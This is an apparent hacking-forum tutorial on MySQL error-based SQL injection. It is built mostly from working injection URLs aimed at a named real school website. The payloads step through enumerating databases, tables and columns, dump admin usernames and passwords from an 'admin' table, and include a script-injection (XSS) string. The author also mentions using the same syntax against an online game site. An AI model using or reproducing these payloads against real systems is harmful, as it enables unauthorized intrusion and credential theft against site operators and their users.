[TUT]Standard Error Base Injection

n this tutorial I want to discuss and use standard error base injection .All tutorials I see in the forums use double query error base injection and all of them use same method and same syntax so I decide make a tutorial for this method it's pretty basic and easy to fallow

As I know all of you know about column count and basic sqli so I ignore it and start inject my target to find version but it's get us this error

Code:

The used SELECT statements have a different number of columns

So we use error base to inject this

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,version(),user(),database(),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

It's version >5 so we can use information _schema to find tables
before find tables we can count number of database to see our target have how many DB
We can use SQL's COUNT() function to count number of DB's ,tables , columns or even number number of existing user in database . For more info Click here

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,(select count(schema_name) from information_schema.schemata limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

For extract db I use the fallowing

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,(select concat(schema_name) from information_schema.schemata limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

With playing limit we can find another value name of databse

Code:

limit 0,1 for first exicting things
limit 1,1 for two exicting things
.
.
.
limit (N-1),1 for N exicting things

Now you should ask yourself why I write (n-1) to find N value ?
That's simple cuse we start extracting first value with getting 0 so for finding N values we should we have to decline our numbers

Now lets count tables and read table names

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,(select count(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

Now we have table names so start to count and find column names from admin table

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,(select count(column_name) from information_schema.columns where table_name='admin' limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

As you can see the magic quotes protect is off so we can use single or double quote in our syntax for add our name

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,'<script>alert("lols are here");</script>',(select count(*) from admin limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,(select concat(column_name) from information_schema.columns where table_name='admin' limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

The last thing we should do for inject it's read admin info before that lets see the admin table have how many users

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,(select count(*) from admin limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

I use this syntax for find out number of the users of online game web site and it gives me this result

Spoiler (Click to View)

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,(select concat_ws(0x7e,username,pass) from admin limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

Two thing before end up this tutorial
I'm not going deep into it in union base we add null byte to inject our query into Database in error base union null byte isn't work but floor(rand(0)*2) do this thing to us in error base for more info fallow the links bellow

http://www.w3resource.com/sql/arithmetic...-value.php
http://php.about.com/od/mysqlcommands/g/floor_sql.htm
http://www.w3schools.com/sql/sql_func_round.asp
and master off all knowledge Click me

And there is one other common problem happens when going to extract value from specific table here is

Code:

[url="http://stackoverflow.com/questions/12597620/1242-subquery-returns-more-than-1-row-mysql"] [/url][i]Subquery[/i] returns [i]more than 1 row

for bypass and pass the error and get our gool's we can use substring to extract value

Code:

substring(DATA, STARTLEGNTH, ENDLENGTH)

it's look like something like this in our target if it get's us the error like this

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,(select concat(substring((concat_ws(0x7e,username,pass)),1,50),0x7e) from admin limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

As you can see I use substring((concat_ws(0x7e,username,pass)),1,50)
1 is first character of values who we want to extract
50 is end of the string value if characters more than 50 you can Increase it.

In the end I dont add any pic and think its not necessary but if you want it can be done soon
For another method of error base look at my signature
hope this can help :)

---